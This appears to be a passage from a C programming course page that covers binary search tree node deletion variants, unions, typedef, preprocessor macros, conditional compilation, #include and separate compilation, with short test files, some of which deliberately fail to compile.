            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

/*
             5
       /            \
     3               8
   /    \         /     \
  2      4       6       9
 / \   /  \     /  \   /  \
1   n n    n   n    7 n    10
*/

/*
             5
       /            \
     3               6
   /    \         /     \
  2      4       n       7
 / \   /  \            /  \
1   n n    n          n    9
                            \
                             10
*/

/*
             5
       /            \
     3               9
   /    \         /     \
  2      4       6      10
 / \   /  \     / \    /  \
1   n n    n   n   7  n    n
*/

void node_remove(node **p, int value)
{
    node *tmp;
    /* check if left or right branches are longer */
    tmp = *p;
    if (tmp->left) {
        *p = tmp->left;
        while ((*p)->right)
            p = &(*p)->right;
        (*p)->right = tmp->right;
    } else if (tmp->right)
        *p = tmp->right;
    else
        *p = NULL;
    free(tmp);
}

int node_delete(node **p, int value)
{
    node **loc = node_search(p, value);
    if (*loc) {
        node_remove(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 8);
    node_insert(&p, 6);
    node_insert(&p, 7);
    node_insert(&p, 9);
    node_insert(&p, 10);
    print_tree(p);
    printf("\n");
    node_delete(&p, 5);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-12.cC / 153 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

/*
             5
       /            \
     3               8
   /    \         /     \
  2      4       6       9
 / \   /  \     /  \   /  \
1   n n    n   n    7 n    10
*/

/*
             5
       /            \
     3               6
   /    \         /     \
  2      4       n       7
 / \   /  \            /  \
1   n n    n          n    9
                            \
                             10
*/

/*
             5
       /            \
     3               9
   /    \         /     \
  2      4       6      10
 / \   /  \     / \    /  \
1   n n    n   n   7  n    n
*/

int node_count(node *p, int is_right)
{
    int i;
    for (i = 0; p; i++)
        if (is_right)
            p = p->left;
        else
            p = p->right;
    return i;
}

void node_remove(node **p, int value)
{
    int left_n, right_n;
    node *tmp;
    tmp = *p;
    left_n = node_count(tmp, 0);
    right_n = node_count(tmp, 1);
    if (left_n > right_n) {
        *p = tmp->left;
        while ((*p)->right)
            p = &(*p)->right;
        (*p)->right = tmp->right;
    } else {
        if (tmp->right) {
            *p = tmp->right;
            while ((*p)->left)
                p = &(*p)->left;
            (*p)->left = tmp->left;
        } else
            *p = NULL;
    }
    free(tmp);
}

int node_delete(node **p, int value)
{
    node **loc = node_search(p, value);
    if (*loc) {
        node_remove(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 8);
    node_insert(&p, 6);
    node_insert(&p, 7);
    node_insert(&p, 9);
    node_insert(&p, 10);
    print_tree(p);
    printf("\n");
    node_delete(&p, 5);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-13.cC / 122 lines
#include <stdio.h>
#include <stdlib.h>

#define TREE_WALK(P, TMP, FIRST, SECOND) \
    do { \
        *P = TMP->FIRST; \
        while ((*P)->SECOND) \
            P = &(*P)->SECOND; \
        (*P)->SECOND = TMP->SECOND; \
    } while (0)

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

int node_count(node *p, int is_right)
{
    int i;
    for (i = 0; p; i++)
        if (is_right)
            p = p->left;
        else
            p = p->right;
    return i;
}

void node_remove(node **p, int value)
{
    int left_n, right_n;
    node *tmp;
    tmp = *p;
    left_n = node_count(tmp, 0);
    right_n = node_count(tmp, 1);
    if (tmp->left && left_n < right_n) {
        TREE_WALK(p, tmp, left, right);
    } else {
        if (tmp->right)
            TREE_WALK(p, tmp, right, left);
        else
            *p = NULL;
    }
    free(tmp);
}

int node_delete(node **p, int value)
{
    node **loc = node_search(p, value);
    if (*loc) {
        node_remove(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 8);
    node_insert(&p, 6);
    node_insert(&p, 7);
    node_insert(&p, 9);
    print_tree(p);
    printf("\n");
    node_delete(&p, 5);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-14.cC / 129 lines
#include <stdio.h>
#include <stdlib.h>

#define TREE_WALK(P, TMP, FIRST, SECOND) \
    do { \
        *P = TMP->FIRST; \
        while ((*P)->SECOND) \
            P = &(*P)->SECOND; \
        (*P)->SECOND = TMP->SECOND; \
    } while (0)

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

int node_count(node *p, int is_right)
{
    int i;
    if (p) {
        if (is_right)
            p = p->right;
        else
            p = p->left;
    }
    for (i = 0; p; i++)
        if (is_right)
            p = p->left;
        else
            p = p->right;
    return i;
}

void node_remove(node **p, int value)
{
    int left_n, right_n;
    node *tmp;
    tmp = *p;

    left_n = node_count(tmp, 0);
    right_n = node_count(tmp, 1);
    if (tmp->left && left_n < right_n) {
        TREE_WALK(p, tmp, left, right);
    } else {
        if (tmp->right)
            TREE_WALK(p, tmp, right, left);
        else
            *p = NULL;
    }
    free(tmp);
}

int node_delete(node **p, int value)
{
    node **loc = node_search(p, value);
    if (*loc) {
        node_remove(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 8);
    node_insert(&p, 6);
    node_insert(&p, 7);
    node_insert(&p, 9);
    print_tree(p);
    printf("\n");
    node_delete(&p, 5);
    print_tree(p);
    printf("\n");
    return 0;
}
tree-15.cC / 136 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *left, *right;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void node_init(node **p, int value)
{
    *p = xmalloc(sizeof(node));
    (*p)->value = value;
    (*p)->left = NULL;
    (*p)->right = NULL;
}

node **node_search(node **p, int value)
{
    while (*p && value != (*p)->value)
        if (value < (*p)->value)
            p = &(*p)->left;
        else
            p = &(*p)->right;
    return p;
}

int node_insert(node **p, int value)
{
    node **loc = node_search(p, value);
    if (!*loc) {
        node_init(loc, value);
        return 1;
    } else
        return 0;
}

int node_count(node *p, int is_right)
{
    int i;
    if (p) {
        if (is_right)
            p = p->right;
        else
            p = p->left;
    }
    for (i = 0; p; i++)
        if (is_right)
            p = p->left;
        else
            p = p->right;
    return i;
}

static void delete_fix_sub_tree(node **p, node *n, int is_right)
{
    if (is_right) {
        *p = n->right;
        while ((*p)->left)
            p = &(*p)->left;
        (*p)->left = n->left;
    } else {
        *p = n->left;
        while ((*p)->right)
            p = &(*p)->right;
        (*p)->right = n->right;
    }
}

void node_remove(node **p, int value)
{
    int left_n, right_n;
    node *tmp;
    tmp = *p;

    left_n = node_count(tmp, 0);
    right_n = node_count(tmp, 1);
    if (tmp->left && left_n < right_n)
        delete_fix_sub_tree(p, tmp, 0);
    else {
        if (tmp->right)
            delete_fix_sub_tree(p, tmp, 1);
        else
            *p = NULL;
    }
    free(tmp);
}

int node_delete(node **p, int value)
{
    node **loc = node_search(p, value);
    if (*loc) {
        node_remove(loc, value);
        return 1;
    } else
        return 0;
}

void print_tree(node *p)
{
    if (p) {
        print_tree(p->left);
        printf("%d ", p->value);
        print_tree(p->right);
    }
}

int main()
{
    node *p = NULL;
    node_insert(&p, 5);
    node_insert(&p, 3);
    node_insert(&p, 2);
    node_insert(&p, 4);
    node_insert(&p, 1);
    node_insert(&p, 8);
    node_insert(&p, 6);
    node_insert(&p, 7);
    node_insert(&p, 9);
    print_tree(p);
    printf("\n");
    node_delete(&p, 5);
    print_tree(p);
    printf("\n");
    return 0;
}

Unions and variant structures

union split_int {
    int integer;
    unsigned char bytes[sizeof(int)];
};

int i;
union split_int si;
printf("Please enter an integer number: ");
scanf("%d", &si.integer);
for (i = 0; i < sizeof(int); i++) {
    printf("byte #%d is %02x\n", i, si.bytes[i]);
struct expression_item {
    char op_type;
    union un_data {
        int i;
        double d;
        char var[sizeof(double)];
    } data;
    struct expression_item *next;
}

enum expr_item_types {
    eit_int = 0, eit_dbl = 1, eit_var = 2, eit_min_op = ' ' + 1;
};
Detailed notes - 4.5.5: Unions and tagged variants

1

union members overlap the same storage

  • syntax resembles struct, but uses union
  • access through . or ->
  • writing one member replaces the representation held in that shared storage

2

conceptual interpretation: values can belong to one of several alternative member types

3

union sample_un can hold an int, a double, or char str[16]

  • type name includes union
  • all members begin at the same address
  • size accommodates the largest member and any required alignment/padding

4

unions can save storage for mutually exclusive alternatives

  • program must know which member currently represents meaningful data
  • confusing members is a source of subtle errors
  • author's dismissal of memory savings is a design opinion

5

union can illustrate an integer's underlying byte representation

  • store an int, examine an unsigned-char array of sizeof(int) bytes
  • observed byte order depends on the platform

placing a union inside a struct allows a separate discriminator/tag

  • surrounding fields indicate which union member to use

6

expression-token example:

  • op_type describes integer, double, variable name, or operator
  • union stores int i, double d, or name array
  • next links tokens into a list
  • enum constants name the payload variants
  • operator-character tags need no union payload
  • keep tag and selected member consistent

7

anonymous union can expose its members directly within the enclosing structure

  • union has neither a tag nor a named enclosing member
  • example accesses i, d, or var directly
  • these fields still share storage
  • standardized in C11; earlier availability depended on extensions

8

author avoids anonymous unions in this course

  • still useful to recognize their syntax in other code
Section test (1 file) - 4.5.5: Unions and tagged variants
Section test05 (04-05)In catalog
union.cC / 16 lines
#include <stdio.h>

union split_int {
    int integer;
    unsigned char bytes[sizeof(int)];
};

int main()
{
    int i;
    union split_int si;
    printf("Please enter an integer number: ");
    scanf("%d", &si.integer);
    for(i = 0; i < sizeof(int); i++)
        printf("byte #%d is %02x\n", i, si.bytes[i]);
}

Directive typedef

typedef int *intptr;
typedef int integral_number;
struct tag_mystruct {
    int i;
    double d;
}
typedef struct tag_mystruct mystruct;

typedef struct tag_mystruct {
    int i;
    double d;
} mystruct;

mystruct s1, s2, s3;
mystruct *ptr;

typedef struct tag_item {
    int data;
    struct tag_item *next;
} item;

item *first = NULL;
Detailed notes - 4.5.6: typedef

1

typedef introduces an alias for a type rather than a new object

  • typedef int *intptr; names pointer-to-int type
  • typedef int integral_number; aliases int
  • libraries use aliases for implementation-dependent types
  • intptr_t, where supplied, is an integer type capable of pointer round-trip conversion

2

structure aliases can avoid repeating struct in declarations

  • typedef struct tag_mystruct { ... } mystruct;
  • mystruct *ptr; uses the alias
  • during the definition, a self-link can use struct tag_item *next
  • alias declared after the closing brace is not available earlier inside that definition
  • tag and typedef may share a name because C gives them separate namespaces
  • typedef struct item { struct item *next; } item; is also valid in C++
  • the book's claimed C++ conflict for that matching alias is not a general restriction
Section test (1 file) - 4.5.6: typedef
Section test06 (04-05)In catalog
typedef.cC / 13 lines
#include <stdio.h>

typedef int *intptr;

int main()
{

    int x = 5;
    intptr p;
    p = &x;
    printf("%d\n", *p);
    return 0;
}

Macro processor

Preliminary information

while (count < 10)
    printf("[%d] Hello\n", count++);
/*
Lexical analysis before macro processor
---->
while ( count < 10 ) printf ( "[%d] Hello\n" , count ++ ) ;
*/

Macro names do not obey scope rules, since during the operation of the macro processor the program text has not yet been split into scopes.

Detailed notes - 4.6.1: Preliminary information

1

macroprocessor / preprocessor:

  • transforms source text before the compiler analyzes C constructs
  • directives: built-in commands such as #include
  • macro calls: uses of macros defined by the programmer
  • output: source with directives processed and macro calls expanded

2

preprocessor directive:

  • written on a separate logical line
  • first non-whitespace character must be #
  • convention: place # at the beginning of the line
  • directive itself does not become an instruction in the compiled program

3

macro names:

  • identifiers associated with programmer-defined macros
  • processed in addition to explicit # directives

4

preprocessing works with tokens before C syntax, types, and scopes are

analyzed:

  • tokens: identifiers, keywords, operators, punctuation, literals
  • count++ -> identifier count and operator ++
  • a string literal is one token; its contents are not macro-expanded
  • comments do not contain active macro calls
  • macro substitution matches whole identifiers, not parts of names
  • -> macros do not obey C block / function scope

Macro Definitions and Macro Calls

#define BUFFERSIZE 1024             /* BUFFERSIZE is now a macro name */
#define HELLOMSG "Hello, world\n"
#define MALLOCITEM malloc(sizeof(struct item))

char buffer[BUFFERSIZE];            /* this is a macro call */
/* ... */
puts(HELLOMSG);
/* ... */
struct item *p = MALLOCITEM;
Detailed notes - 4.6.2: Macro definitions and calls

1

#define NAME replacement:

  • introduces a macro name and its replacement tokens
  • #define BUFFERSIZE 1024 -> buffer[BUFFERSIZE] becomes buffer[1024]
  • #define HELLOMSG "Hello, world\n" -> name expands to a string literal
  • #define MALLOCITEM malloc(sizeof(struct item)) -> name expands to a call
  • later occurrences of these names are macro calls / expansions

2

macro replacement need not be a complete expression or statement:

  • IF -> if(
  • THEN -> ) {
  • ELSE -> } else {
  • FI -> }
  • -> several macros can assemble one C construct

book discourages disguising ordinary C syntax this way

  • more complicated code generation can sometimes justify partial constructs
Section test (1 file) - 4.6.2: Macro definitions and calls
Section test02 (04-06)In catalog
macro.cC / 6 lines
#define count 35

int main() {
    int count;
    return 0;
}

Naming conventions

Use UPPERCASE for macros to avoid name conflicts:

#define count 35
int f(int n, const char *str)
{
    int count;
    /* ... */
}
Detailed notes - 4.6.3: Naming conventions

1

macros ignore scope:

  • a header defines count as 35
  • later local declaration int count; becomes int 35;
  • compiler reports that an identifier was expected
  • original source visibly contains an identifier, which makes diagnosis confusing
  • adding a macro in a shared header can break previously valid functions

2

convention: uppercase macro names, lowercase ordinary identifiers

  • uppercase makes potentially surprising substitution visible
  • distinct naming conventions reduce collisions with variables / types / functions

3

uppercase is a programmer convention

  • C itself allows any valid macro identifier

4

book's historical explanation for uppercase constants:

  • named integer constants originally commonly used #define
  • enum later provided integer constants that obey scope
  • uppercase naming carried over from macros to enum constants
  • book criticizes treating this inherited convention as a language requirement

5

enum constants behave as ordinary scoped identifiers:

  • enum { absolutely_safe_constant = 756 };
  • lowercase with underscores fits the book's ordinary identifier convention
  • replacing a macro with an enum can remove unintended textual substitution

public interfaces may require keeping an existing uppercase name:

  • other programs / documentation already use that name
  • enum { VERY_DANGEROUS_MACRO = 756 }; keeps the name without a macro
  • such replacement also changes preprocessor availability: enum names cannot substitute for macros in #if / #ifdef use

6

mixed historical naming creates another consideration:

  • some constants must retain uppercase public names
  • uniform naming can justify uppercase for newly introduced enum constants too
  • -> uppercase enum names are not inherently incorrect

7

follow an existing project's conventions

  • for a new project, choose a consistent rule deliberately
  • distinguish the naming convention from macro behavior / language rules

More advanced macro features

Parameters: make sure there is no space before first (

#define MAX(A, B) ((A) > (B) ? (A) : (B))

Multi-line: make sure there is no space after \

#define HELP_TEXT \
    "This is a very good program that displays file size.\n" \
    "To use it you should specify the file name\n" \
    "as a command line parameter, such as\n" \
    " ./fsize file.txt\n"

if (argc < 2) {
    fputs(HELP_TEXT, stderr);
    return 1;
}

If we have the same function with different types:

int int_array_sum(const int *a, int n)
{
    int s = 0;
    while (n > 0) {
        s += *a;
        a++;
        n--;

    }
    return s;
}

double double_array_sum(const double *a, int n)
{
    double s = 0;
    /* ... */
}

We can generalize parameter and return types:

#define MAKE_ARRAY_SUM_FUNCTION(FUNNAME, TYPE) \
    TYPE FUNNAME(const TYPE *a, int n) \
    { \
        TYPE s = 0; \
        while (n > 0) { \
            s += *a; \
            a++; \
            n--; \

        } \
        return s; \
    }

MAKE_ARRAY_SUM_FUNCTION(int_array_sum, int)
MAKE_ARRAY_SUM_FUNCTION(double_array_sum, double)
MAKE_ARRAY_SUM_FUNCTION(long_array_sum, long)

Or even use ## to glue TYPE and _array_sum:

#define MAKE_ARRAY_SUM_FUNCTION(TYPE) \
    TYPE TYPE ## _array_sum(const TYPE *a, int n) \
    { \
        TYPE s = 0; \
        /* ... */
    }
Detailed notes - 4.6.4: More advanced macro facilities

1

function-like macro:

  • #define MAX(A, B) ((A) > (B) ? (A) : (B))
  • MAX(x, 15) substitutes x for A and 15 for B
  • in the definition, no space between MAX and (
  • otherwise (A, B) becomes part of an object-like macro's replacement

2

parentheses protect an expression macro from surrounding precedence:

  • square(x) defined as x * x -> square(z+1) becomes z + 1 * z + 1
  • BADMAX(A, B) defined as A > B ? A : B
  • -> BADMAX(100, 10) * 5 becomes 100 > 10 ? 100 : 10 * 5 -> 100
  • enclose each argument occurrence in parentheses
  • enclose the whole replacement expression in parentheses

parentheses do not prevent repeated evaluation:

  • MAX(f(x), g(x)) calls both functions for the comparison
  • then calls the selected function again
  • -> arguments with side effects can change behavior unexpectedly

3

book recommends avoiding macros when ordinary C facilities suffice

multiline macro:

  • end each continued physical line with \ immediately before newline
  • adjacent string literals join into one string
  • HELP_TEXT can contain several usage-message lines, each ending in \n
  • missing command-line argument -> fputs(HELP_TEXT, stderr), return 1

macros can generate families of similar functions:

  • array sum: start at zero, add *a, advance a, decrease remaining count
  • copying this function for int / double / long duplicates its logic
  • MAKE_ARRAY_SUM_FUNCTION(FUNNAME, TYPE) generates one typed function
  • invocations choose int_array_sum / int, double_array_sum / double, etc.

token pasting with ##:

  • TYPE ## _array_sum joins tokens into a generated function name
  • int -> int_array_sum
  • multiword types do not make suitable pasted identifiers
  • -> use a one-word typedef name or pass the function name separately

4

multiline macro difficulties:

  • trailing whitespace after \ is nonportable and can break continuation
  • macro errors can be reported at the expansion site
  • inspect the definition and expanded tokens when the call looks correct

5

compiler option -E:

  • stop after preprocessing
  • write expanded source to standard output
  • output also contains included headers, so it can be large

6

stringification with # before a macro parameter:

  • #define VAR_PRINT(x) printf("%s = %d\n", #x, x)
  • VAR_PRINT(abrakadabra) prints its name and integer value
  • #x supplies "abrakadabra"; x supplies the expression's value

adjacent string literals allow a shorter replacement:

  • printf(#x " = %d\n", x)
Section test (1 file) - 4.6.4: More advanced macro facilities
Section test04 (04-06)In catalog
macros.cC / 9 lines
#define MAX (A, B) ((A) > (B) ? (A) : (B))

int main() {
    int x;
    char *y;
    x = 7;
    y = MAX(5, x);
    return 0;
}

(*) Macros and the do { } while (0) construct

If we use one of these macro definitions:

#define MYMACRO(arg) f(arg); g();
#define MYMACRO(arg) f(arg); g()
#define MYMACRO(arg) { f(arg); g() }

it will fail to compile:

if (cond)
    MYMACRO("argument");
else
    /* ... */

the solution is to use do { } while (0) block:

#define MYMACRO(arg) do { f(arg); g(); } while (0)
Detailed notes - 4.6.5: (*) Macros and do { } while(0)

1

statement-like macro should work wherever one statement is allowed:

  • may contain several operations, local variables, or an if / else
  • caller should write MYMACRO(argument); as with an ordinary function call
  • f(arg); g(); expands to several statements
  • { f(arg); g(); } followed by the caller's semicolon can break if / else

solution: #define MYMACRO(arg) do { f(arg); g(); } while(0)

  • loop body executes once because the condition is checked afterward
  • zero condition prevents another iteration
  • caller's semicolon completes the do / while statement
  • -> expansion behaves syntactically as one statement

2

book treats this idiom as a workaround made possible by existing C syntax

  • do / while supplies both grouping and the required final semicolon

Conditional compilation directives

Same as commenting out:

#if 0  /* this implementation was too slow */
void sort(int *a, int n)
{
    /* ... */
}
#endif

To use this macro name ...

#if USE_INDEX_IN_STRING_COPY    /* = 0L if not defined */
void string_copy(char *dest, const char *src)
{
    int i;
    for (i = 0; src[i]; i++)
        dest [i] = src[i];
    dest[i] = 0;
}
#else
void string_copy(char *dest, const char *src)
{
    for ( ; *src; dest++, srct++)
        xdest = *src;
    *xdest = 0;
}
#endif

... we can have a definition at the beginning of the file:

#ifndef USE_INDEX_IN_STRING_COPY
#define USE_INDEX_IN_STRING_COPY 1
#endif

... or on the command line:

gcc -Wall -g -D USE_INDEX_IN_STRING_COPY=1 prog.c -o prog
Detailed notes - 4.6.6: Conditional compilation directives

1

conditional compilation selects which source fragments reach the

compiler:

  • exclude code temporarily
  • choose features or alternative algorithms
  • build different program variants without editing source files

2

same general mechanism appeared in the Pascal and NASM examples

  • book relates their conditional directives to the C preprocessor tradition

3

#if 0 ... #endif temporarily excludes a source fragment:

  • useful when the fragment already contains /* ... */ comments
  • C block comments do not nest
  • excluded C statements may be syntactically incomplete
  • lexical structure must remain valid: no unterminated strings / comments
  • change 0 to 1 to include the fragment again

4

#if ... #else ... #endif selects one of two implementations:

  • string_copy example: array indexing versus advancing pointers
  • both copy the terminating zero after the character loop
  • #if USE_INDEX_IN_STRING_COPY selects by a macro value
  • undefined identifiers left in a #if expression evaluate as zero
  • variables, functions, and enum constants cannot supply #if values

set the option externally:

  • gcc -Wall -g -D USE_INDEX_IN_STRING_COPY=1 prog.c -o prog
  • source does not need temporary changes to switch builds
  • -> configuration changes need not clutter source history / reviews

5

#ifndef can provide a default without overriding a supplied option:

  • #ifndef USE_INDEX_IN_STRING_COPY
  • #define USE_INDEX_IN_STRING_COPY 1
  • #endif
  • prior header / command-line definition keeps its value
  • otherwise the source supplies the default

#ifdef / #ifndef also commonly control debugging output

6

#if requires an integer expression evaluable during preprocessing:

  • arithmetic, remainder, comparisons, logical / bitwise operations, ?: allowed
  • no assignments, ++ / --, function calls, address operations, casts, comma, or sizeof
  • macro replacement supplies values before expression evaluation

7

defined(NAME) tests whether a macro exists:

  • parentheses optional, but useful for readability
  • #if defined(DEBUG_PRINT) && DEBUG_PRINT > 7
  • #ifdef NAME -> #if defined(NAME)
  • #ifndef NAME -> #if !defined(NAME)

8

#elif adds another conditional branch:

  • FOR_PETROV defined -> first customer's implementation
  • otherwise FOR_SIDOROV defined -> second customer's implementation
  • otherwise -> default implementation

macros can serve only as presence / absence flags:

  • #define MYSYMBOL defines a macro with an empty replacement
  • gcc -D MYSYMBOL defines it with value 1 by default
  • either works with defined / #ifdef tests

A few more useful directives

#undef MYMACRO

#ifndef BUFFER_SIZE
#error Please specify the buffer size
#endif

Macro names __LINE__, __FILE__, __DATE__, __TIME__ are always defined.

Detailed notes - 4.6.7: A few more useful directives

1

#undef MYMACRO:

  • removes the macro definition from that point onward

2

#error message:

  • requests a compilation diagnostic
  • useful inside #if / #ifndef for invalid or missing configuration
  • examples: no customer variant selected; BUFFER_SIZE not supplied

#line:

  • changes the presumed source filename / line for diagnostics
  • useful when another language is translated into generated C
  • diagnostics can point back to the original input

3

predefined macros:

  • __LINE__: current source line, integer constant
  • __FILE__: current source filename, string literal
  • __DATE__ / __TIME__: translation date / time, string literals
  • __STDC__: indicates the implementation's standard C conformance mode
  • these names are supplied by the implementation; do not redefine them
Section test (1 file) - 4.6.7: A few more useful directives
Section test07 (04-06)In catalog
macros.cC / 9 lines
#include <stdio.h>

#line 42 "source.txt"

int main() {
    int x = 10

    return 0;
}

The #include directive

#include <stdio.h>      /* for external libraries including standard library */
#include "mymodule.h"   /* for your modules */
Detailed notes - 4.6.8: The #include directive

1

two common inclusion forms:

  • #include <stdio.h>
  • #include "mymodule.h"
  • distinction concerns how the implementation finds the header

2

book's intended convention:

  • quotes for this project's headers
  • angle brackets for library headers
  • author objects to blurring the distinction between language syntax and libraries

3

kernel code illustrates that C can be used without the ordinary hosted library

  • author uses this to argue for separating language and library concepts
  • a library may itself be implemented in C
  • standardized library interfaces and freestanding C implementations can coexist

4

standard headers need not correspond to physical files:

  • implementation may provide their declarations by another mechanism
  • #include <stdio.h> requests that header's facilities
  • book strongly criticizes this implementation freedom

5

third-party library headers raise the practical inclusion question too:

  • they belong neither to the project nor to the standard library
  • ordinary C toolchains also accept them with angle brackets
  • book's broad criticism of standards here is the author's opinion

6

usual GCC search behavior:

  • <name>: search configured include paths and system header directories
  • -I adds search directories before the ordinary system locations
  • "name": first search relative to the directory of the including file
  • if absent there, continue through the configured header search paths
  • -> including file's directory is not necessarily the shell's current directory

7

installed third-party headers commonly share system include locations:

  • often under /usr/include on Linux
  • otherwise supply the library's include directory to the compiler
  • they need not live beside the project's own source files

8

practical rule used in this book:

  • own project header -> "..."
  • external library header -> <...>
  • external includes need not belong to the standard C library

Formatting of macro directives

No leading spaces before #:

void f( /* ... */ )
{
    /* ... */
    if (!key_already_known) {
#ifdef DEBUG_PRINT
        fprintf(stderr, "DEBUG: figuring out the key\n");
#endif
        find_the_key();
    }
    /* ... */

If you need indentation inside macros, we can have spaces after #, but it is better to avoid it.

Detailed notes - 4.6.9: Formatting macro directives

1

preprocessor nesting and C statement nesting are separate structures:

  • preprocessing takes place before C syntax / scope are analyzed
  • directives can change the source structure itself

book's formatting convention:

  • place # at the left edge even inside a C function / if / loop
  • keep ordinary statements indented according to C nesting
  • for nested preprocessor conditions, indent the directive after #
  • #ifdef ... / # if ... / # else ... / # endif / #endif

example: selecting a sorting implementation:

  • fixed array -> #if tests ARRAY_SIZE against MAX_ARRAY_FOR_BUBBLE
  • dynamic array -> ordinary if tests arrsize at runtime
  • large array -> quick sort; small array -> bubble sort
  • -> formatting makes compile-time and runtime choices distinguishable

Separate compilation

General idea of separate compilation in C

Flag -c makes gcc generate only the object module mod.o without executable:

gcc -Wall -g -c mod.c

We can compile main program prog.c with modules (mod1.c and mod2.c) like this ...

gcc -Wall -g -c mod1.c
gcc -Wall -g -c mod2.c
gcc -Wall -g prog.c mod1.o mod2.o -o prog

... or like this:

gcc -Wall -g -c mod1.c
gcc -Wall -g -c mod2.c
gcc -Wall -g -c prog.c
gcc prog.o mod1.o mod2.o -o prog

In the last call we could have used ld. But then we would need to specify a directory, so that the linker knows where the C standard library is. Usually it is just easier to use gcc.

Detailed notes - 4.7.1: General arrangement of separate compilation in C

1

C separate compilation resembles the earlier assembly approach:

  • functions / global objects can have external or internal linkage
  • one translation unit can refer to symbols defined in another
  • linker resolves those references
  • headers and preprocessing organize interfaces
  • no Pascal-style unit declaration supplies the module structure here

2

divide functions and global objects among .c files:

  • main is defined in one file
  • gcc -Wall -g -c mod.c -> compile to mod.o without linking
  • compile the other modules in the same way

linking options:

  • gcc -Wall -g prog.c mod1.o mod2.o -o prog
  • -> compile the main source and link all modules
  • or compile prog.c separately, then gcc prog.o mod1.o mod2.o -o prog
  • pass every required object file to the final link
  • using gcc as the linker driver supplies ordinary startup / library details
  • -> invoking ld directly requires arranging these details yourself
The implementation includes its own public header so the compiler can check both sides.
Declarations compile; definitions link. Open full size - Editable SVG

Visibility of objects from other modules

All functions and global variables are visible to other modules by default. Use static to make functions and global variables visible only within their own modules.

/* Seen by all other modules: */
int global_subroutine(int x, const char *n)
{
    /* ... */
}

/* Seen only by its own module: */
static int very_local_subroutine(int x, const char *n)
{
    /* ... */
}

/* Same for variables: */
int very_bad_global_var_seen_by_all_modules;
static int a_bit_better_but_still_bad_global_var_seen_by_its_own_module;

To access functions and global variables from different modules, we have to declare them:

/* If in one of the modules we have a function, ... */
int cube(int x)
{
    return x * x * x;
}
/* ... in another module that uses it we can just declare it */
int cube(int x);

To declare a variable we use extern keyword:

int very_bad_global_var_seen_by_all_modules;
extern int very_bad_global_var_seen_by_all_modules;

const int prime_numbers[] = {1, 2, 3, 5, 7, 11, 13, 17};
extern const int prime_numbers[];
Detailed notes - 4.7.2: Visibility of objects from other modules

1

NASM comparison:

  • global exports a symbol for other modules
  • extern declares a symbol supplied elsewhere
  • other labels are local to the translation unit by default

2

C functions / file-scope objects normally have external linkage:

  • static on a function or file-scope variable gives internal linkage
  • other translation units cannot refer directly to that private name
  • private state is less widely coupled than an exported global variable

calling a function defined elsewhere:

  • include its declaration, e.g. int cube(int x);
